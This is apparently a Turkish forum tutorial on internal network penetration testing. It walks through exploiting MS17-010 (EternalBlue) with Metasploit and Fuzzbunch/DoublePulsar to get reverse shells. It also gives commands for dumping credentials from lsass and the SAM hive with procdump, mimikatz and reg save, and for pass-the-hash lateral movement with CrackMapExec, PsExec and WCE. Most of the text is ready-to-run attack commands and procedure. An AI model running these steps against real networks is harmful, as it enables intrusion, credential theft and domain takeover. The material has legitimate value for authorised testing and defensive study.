İç Ağ Sızma Testinde Kullanılabilecek Araç ve Yöntemler
Herkese Merhaba,
Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti mtasploit güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında mtasploit popüler bir çatı olduğu için güvenlik ürünleri tarafında yakalanıp engellenebilmektedir. Bu MS17-010 zafiyetinde geçerli olduğu gibi bir çok zafiyetin mtasploit ile sömürülmeye çalışıldığında kurumlarda başarılı olunmamakta ve otomatik yerine el ile sömürme işlemi gerçekleştirilmektedir. Yine aynı şekilde mtasploit modülü olan PsExec ile hashı alınan bir makinaya bağlanabiliyoruz fakat güvenlik ürünleri bu bağlantılarıda tanıyıp kesebiliyor. Yazının devamında bu yöntemlere ve alternatiflerine değinmeye çalışacağım.
İlk olarak en basitten başlayarak hedef makina/ip üzerinden zafiyeti tespit edip mtasploit ile sızmaya çalışalım.
Nmap Script Engine (NSE) ile MS17-010 zafiyetinin olup olmadığını test ediyoruz. Resimde görüldüğü gibi VULNERABLE olarak çıktı vermekte. Bu makinada MS17-010 zafiyeti bulunmakta. NSE harici mtasploit ile
Kod:
use auxiliary/scanner/smb/smb_ms17_010
Artık mtasploiti açarak
Kod:
use exploit/windows/smb/ms17_010_eternalblue
Kod:
MS17-010
Burada gördüğünüz gibi Exploit target kısmında sadece x64 desteklenmektedir. Burada Payload olarak
Kod:
windows/x64/meterpreter/reverse_tcp
Kod:
windows/x64/meterpreter/bind_tcp
Meterpreter komut satırına düştük buradan sonra meterpreterin gelişmiş yeteneklerini kullanabilirsiniz ya da shell diyerek windows cmd satırına düşebilirsiniz. Windows tarafındaki en yetkili kulanıcı hakları olan NT AUTHORITY\SYSTEM yetkileri ile sisteme giriş yapıldığından dolayı bellekten hash ve parola çıkarma işlemleri yapılabilir.
Yukarıdaki resimlerde görüldüğü gibi meterpreter üzerinde hashdump ve mimikatz kullanılarak kullanıcı hash ve parolalarını elde edebildik. incoginito aracı ile kullanıcı tokenları arasında değiştirebildik.
Meterpreter ile sisteme sızmış olmasaydık cmd üzerinden yine procdump.exe aracını hedef makinaya indirerek cmd üzerinden procdump ile lsass.exe dumpını alarabiliriz.
Kod:
C:\procdump.exe -accepteula -ma lsass.exe dump.dmp
Kod:
mimikatz.exe
privilege::debug
sekurlsa::minidump dump.dmp
sekurlsa::logonPasswords
Kod:
reg save hklm\sam c:\sam
reg save hklm\system c:\system
samdump2 system sam
Bu şekilde meterpreter dışındada windows makinalar üzerinde hash ve parolaları manuel olarak elde edebiliriz.
CrackMapExec ile elde edilen hash ve parolalar subnet ve domaindeki tüm makinalarda bu parola veya hash Local Admin hakları ile çalışıyorsa yukarıdaki resimdeki gibi Pwn3d! yazmaktadır. Bu aşamadan sonra isterseniz CME (Crack Map Exec) ile makinalardaki tokenları toplayabilir ya da bu makinalara bu hash ya da parolalar ile PsExec,SMBExec ya da WCE ile giriş yapılıp manuel olarak bu işlemleri gerçekleştirilebilir.
mtasploiti açtıktan sonra
Kod:
use exploit/windows/smb/psexec
Windows bir makinadan hash ile hedef makinaya bağlanmak için Windows Credentiol Editor (WCE) ile bağlanılabilir.
Kod:
wce.exe -l
wce.exe -g testlerdeyim
wce.exe -s <Kullanıcıadı>:<Domain/yadamakinaipsi>:<LM Hash>:<NTLM Hash>
net use ipADMIN$
PsExec.exe IPADRESİ -s cmd
Buraya kadar MS17-010 zafiyeti ile sisteme sızılıp daha sonra kurum içindeki yada Domainde ki diğer makinalarda aynı hashlerin tespiti bu makinalara hash ya da parola ile bağlanıp o makinalarda ki hash ve parolaları manuel ve otomatik şekilde elde etmeyi inceledik. Domainde bulunan her makina üzerinden hash,parola ve tokenlar toplandıkça bunların içinde Domain Admin yetkileri ile çalışan kullanıcı parola,token ve hashine rastlamanız olası. Bu yetkide kullanıcılara ulaşabilirseniz DC makinalarıda artık elinizde demektedir. MS17-010 zafiyeti mtasploit modülü x86 versiyonundan kaynaklı ya da güvenlik ürünlerinin engellemesinden kaynaklı kesilebilirdi. Bu durumda fuzzbunch ile önüne geçebiliriz. x86 ve x64 işletim sistemi mimarilerinde çalışıp aynı zamanda bir çok güvenlik ürününe takılmadan başarı ile çalışmaktadır. Fuzzbunchi çalıştırmak için hedef dışında Windows XP bir makina ve atak yapılacak,DLL oluşturulacak ve bağlantının dinleneceği bir makina (Örn: Kali Linux) daha kullanılmaktaydı. Bu süreci kolaylaştırmak için wine yazılımı ile Kali Linux üzerine Fuzzbunch kurulum imkanı sağlayan Kali/fuzzbunch-debian yazılımı linkteki sayfadaki yönergeler ile kurabilirsiniz.
Kod:
https://github.com/mdiazcl/fuzzbunch-debian
Kod:
1- apt update
2- apt install wine winbind winetricks
3- dpkg add-architecture i386 && apt-get update && apt-get install wine32
4- WINEPREFIX=$HOME/.wine-fuzzbunch WINEARCH=win32 wine wineboot
5- export WINEPREFIX=$HOME/.wine-fuzzbunch
6- wine regedit.exe
7- regedit açıldıktan sonra sağa tıklayıp Add String Value diyerek Type kısmına String Name kısmına PATH Value kısmına c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch değerlerini girerek çıkıyoruz.
8- cd $HOME/.wine-fuzzbunch/drive_c
9- git clone https://github.com/mdiazcl/fuzzbunch-debian.git
10- winetricks python26
11- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
12- wine cmd.exe
13- python fb.py
Kali/fuzzbunch-debian kurarak Windows XP bağımlılığından kurtularak tek bir saldırgan makina ile atağı gerçekleştirebiliriz.
python fb.py ile fuzzbunch açıldığında yukarıda ki resimdeki ekran gelmektedir. 0 New project diyip isim verip Target (Sızılacak Hedef IP) ve Callback (Bağlantı gelecek bizim IP) değişkenlerini girerek enter tuşu ile değişkenlerin varsayılan değerlerini onaylayarak ilerliyoruz.
use Eternalblue diyerek MS17-010 Eternalblue exploitini kullanacağız.
Resimlerde ki parametreler girilip execute dediğimizde Eternalblue başarılı bir şekilde çalışmaktadır.
Eternalblue başarılı bir şekilde hedefte çalıştıkdan sonra use Doublepulsar diyerek exploiti tamamlayacağız.
Bu resimde görüldüğü gibi işletim sisteminin mimarisini sormakta. mtasploit modülünde sadece x64 seçeneği mevcut.
Bizim hedef makinamız x64 olduğu için 1 diyerek devam ediyoruz. Function kısmında exploitin çalışıp çalışmadığını denemek için 1 seçerek Ping komutu çalıştırıyoruz.
Ve komutumuz başarılı bir şekilde çalıştı. Artık 2 numaralı Run DLL Functionı çalıştırıp kendimize DLL üretip onu hedef sistemde çalıştırarak shell alabiliriz.
MSFVenom ile x64 bir DLL üreterek bunu fuzzbunchin kurulu olduğu dizine taşıyoruz.
Yukarıda ki resimde görüldüğü gibi set Function RunDLL diyerek functionımızı seçiyoruz. DLLOrdinal ve DLLPayload değişkenlerini girdikten sonra execute ile Doublepulsarı çalıştırıyoruz.
Başarılı bir şekilde çalıştı.
Doublepulsarı çalıştırmadan önce DLLi oluştururken kullandığımız IP adresli makinada multi/handler modülü ile IP ve port numarasını dinlemeye başlıyoruz. Doublepulsar başarılı bir şekilde çalıştığında hedef makinadan shell gelmektedir.
Fuzzbunch ile DLL injecte ederken bunu MSFVenom yerine Empire ile DLL oluşturup onu Doublepulsar ile hedefte çalıştırarak gelen shell bağlantısını agent olarak Empire üzerinden kullanabilirsiniz.
Resimlerde görüldüğü gibi Empire ile DLL oluşturulup fuzzbunch dizinine taşınıp Doublepulsar DLLPath değişkenine bu DLL verilip çalıştırıldığında Empire agentı başarılı bir şekilde oluşmaktadır. Agent oluştukdan sonra Empire ile post exploitation yapabilirsiniz.
Son düzenleme: